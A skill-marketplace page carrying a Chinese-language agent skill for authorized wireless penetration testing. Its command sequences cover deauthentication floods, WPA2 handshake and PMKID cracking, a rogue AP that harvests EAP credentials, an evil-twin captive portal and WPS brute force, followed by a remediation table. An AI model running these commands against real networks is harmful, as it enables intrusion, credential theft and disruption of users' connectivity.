# Performing Wireless Network Penetration Test

> 执行无线网络渗透测试，通过捕获握手包、破解 WPA2/WPA3 密钥、检测流氓接入点以及使用 Aircrack-ng 和相关工具测试无线网络分段，评估 WiFi 安全性。

- Skill: `killvxk/performing-wireless-network-penetration-test` (Agent Skill, multi-file: 8 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-wireless-network-penetration-test`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-wireless-network-penetration-test/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-wireless-network-penetration-test

---


# 执行无线网络渗透测试

## 概述

无线渗透测试评估组织 WiFi 基础设施的安全性，包括加密强度、认证机制、流氓接入点检测、客户端隔离和网络分段。测试覆盖 802.11a/b/g/n/ac/ax 协议、WPA2-PSK、WPA2-Enterprise、WPA3-SAE、强制门户以及在范围内的蓝牙/BLE。

## 前置条件

- 书面授权，指定无线测试范围（SSID、BSSID、物理位置）
- 支持监听模式和数据包注入的兼容无线网卡（如 Alfa AWUS036ACH、TP-Link TL-WN722N v1）
- 安装了 Aircrack-ng 套件、Bettercap、Wifite、Kismet 的 Kali Linux
- 对目标无线网络的物理邻近访问
- GPS 接收器（可选，用于绘制地图）

## 阶段一：无线侦察

### 启用监听模式

```bash
# 检查无线接口
iwconfig
airmon-ng

# 终止干扰进程
airmon-ng check kill

# 启用监听模式
airmon-ng start wlan0
# 接口变为 wlan0mon

# 验证监听模式
iwconfig wlan0mon
```

### 被动扫描

```bash
# 发现范围内的所有网络
airodump-ng wlan0mon -w wireless_scan --output-format csv,pcap

# 按特定信道过滤
airodump-ng wlan0mon -c 6 -w channel6_scan

# 扫描 5GHz 频段
airodump-ng wlan0mon --band a -w 5ghz_scan

# 扫描所有频段
airodump-ng wlan0mon --band abg -w full_scan

# Kismet 被动扫描（高级）
kismet -c wlan0mon
# 通过 http://localhost:2501 访问 Web UI
```

### 网络清单

| SSID | BSSID | 信道 | 加密 | 客户端数 | 信号强度 |
|------|-------|---------|-----------|---------|--------|
| CorpWiFi | AA:BB:CC:DD:EE:01 | 6 | WPA2-Enterprise | 45 | -55dBm |
| CorpGuest | AA:BB:CC:DD:EE:02 | 11 | WPA2-PSK | 12 | -60dBm |
| PrinterNet | AA:BB:CC:DD:EE:03 | 1 | WEP | 3 | -70dBm |
| HiddenSSID | AA:BB:CC:DD:EE:04 | 36 | WPA2-PSK | 8 | -65dBm |

## 阶段二：WPA2-PSK 攻击

### 捕获四次握手

```bash
# 针对特定网络
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:02 -w corpguest wlan0mon

# 对客户端发送取消认证帧，强制重新连接（捕获握手）
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:02 -c FF:FF:FF:FF:FF:FF wlan0mon

# 验证握手已捕获
aircrack-ng corpguest-01.cap
# 在输出中查找 "1 handshake"
```

### 破解 WPA2 密钥

```bash
# 使用 Aircrack-ng 进行字典攻击
aircrack-ng -w /usr/share/wordlists/rockyou.txt corpguest-01.cap

# 使用 Hashcat 进行 GPU 加速破解
# 将 cap 转换为 hccapx 格式
hcxpcapngtool -o hash.hc22000 corpguest-01.cap

# Hashcat 模式 22000（WPA-PBKDF2-PMKID+EAPOL）
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# PMKID 攻击（无需客户端）
hcxdumptool -i wlan0mon --enable_status=1 -o pmkid_dump.pcapng \
  --filterlist_ap=AA:BB:CC:DD:EE:02 --filtermode=2
hcxpcapngtool -o pmkid_hash.hc22000 pmkid_dump.pcapng
hashcat -m 22000 pmkid_hash.hc22000 /usr/share/wordlists/rockyou.txt
```

## 阶段三：WPA2-Enterprise 攻击

```bash
# 设置带 EAP 凭据收割的流氓 AP
# 使用 hostapd-mana
cat > hostapd-mana.conf << 'EOF'
interface=wlan0mon
ssid=CorpWiFi
hw_mode=g
channel=6
auth_algs=3
wpa=2
wpa_key_mgmt=WPA-EAP
wpa_pairwise=CCMP TKIP
rsn_pairwise=CCMP
ieee8021x=1
eap_server=1
eap_user_file=hostapd.eap_user
mana_wpe=1
mana_credout=creds.txt
EOF

# EAP 用户文件
cat > hostapd.eap_user << 'EOF'
*   PEAP,TTLS,TLS,FAST
"t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAP "t" [2]
EOF

hostapd-mana hostapd-mana.conf

# 捕获的 MSCHAP 挑战可以被破解
# 破解来自 EAP-MSCHAP 的 NetNTLMv1
hashcat -m 5500 creds.txt /usr/share/wordlists/rockyou.txt
```

## 阶段四：邪恶双胞胎攻击

```bash
# 使用 Bettercap 创建邪恶双胞胎
sudo bettercap -iface wlan0mon

# 在 Bettercap 中：
wifi.recon on
wifi.ap

# 或使用 hostapd + dnsmasq 手动创建邪恶双胞胎
cat > evil_twin.conf << 'EOF'
interface=wlan1
ssid=CorpGuest
hw_mode=g
channel=6
driver=nl80211
auth_algs=1
wpa=0
EOF

# 启动强制门户
hostapd evil_twin.conf &
dnsmasq --no-daemon --interface=wlan1 --dhcp-range=192.168.1.10,192.168.1.100,12h \
  --address=/#/192.168.1.1

# 取消认证真实 AP 上的客户端，强制连接到邪恶双胞胎
aireplay-ng -0 0 -a AA:BB:CC:DD:EE:02 wlan0mon
```

## 阶段五：附加测试

### 流氓 AP 检测

```bash
# 将已授权 AP 列表与发现的 AP 进行比较
# 来自客户文档的已授权 BSSID
# 标记任何广播企业 SSID 的未知 BSSID

# 检查错误配置的 AP
# 桥接到企业网络的个人热点
# 使用默认 WiFi 设置的 IoT 设备
```

### 客户端隔离测试

```bash
# 连接到访客网络后：
# 扫描其他客户端
nmap -sn 192.168.10.0/24

# 尝试访问企业资源
nmap -sT -p 80,443,445,3389 10.0.0.0/24

# 测试 VLAN 跳跃
# 如果访客网络未与企业网络正确隔离
```

### WPS 攻击

```bash
# 检查启用了 WPS 的 AP
wash -i wlan0mon

# WPS PIN 暴力破解（如果 WPS 已启用且未受速率限制）
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -vv

# Pixie-Dust 攻击（离线 WPS PIN 恢复）
reaver -i wlan0mon -b AA:BB:CC:DD:EE:03 -K 1 -vv
```

## 发现模板

| 发现项 | 严重性 | CVSS | 修复建议 |
|---------|----------|------|-------------|
| WPA2-PSK 使用弱密码 | 高危 | 8.1 | 使用 20 字符以上的密码，或迁移至 WPA2-Enterprise |
| 打印机网络使用 WEP 加密 | 严重 | 9.1 | 升级至 WPA2/WPA3，划分打印机 VLAN |
| 访客 AP 启用了 WPS | 中危 | 5.3 | 在所有接入点上禁用 WPS |
| 访客网络无客户端隔离 | 高危 | 7.5 | 启用 AP 隔离和 VLAN 分段 |
| 流氓 AP 广播企业 SSID | 高危 | 8.1 | 部署 WIDS/WIPS，实施带证书验证的 802.1X |
| EAP-MSCHAP 无证书锁定 | 高危 | 7.5 | 在所有客户端上强制验证服务器证书 |

## 参考资料

- Aircrack-ng 文档: https://www.aircrack-ng.org/doku.php
- WiFi Alliance WPA3 规范: https://www.wi-fi.org/discover-wi-fi/security
- NIST SP 800-153：无线局域网安全指南
- Hashcat WPA 模式: https://hashcat.net/wiki/doku.php?id=example_hashes

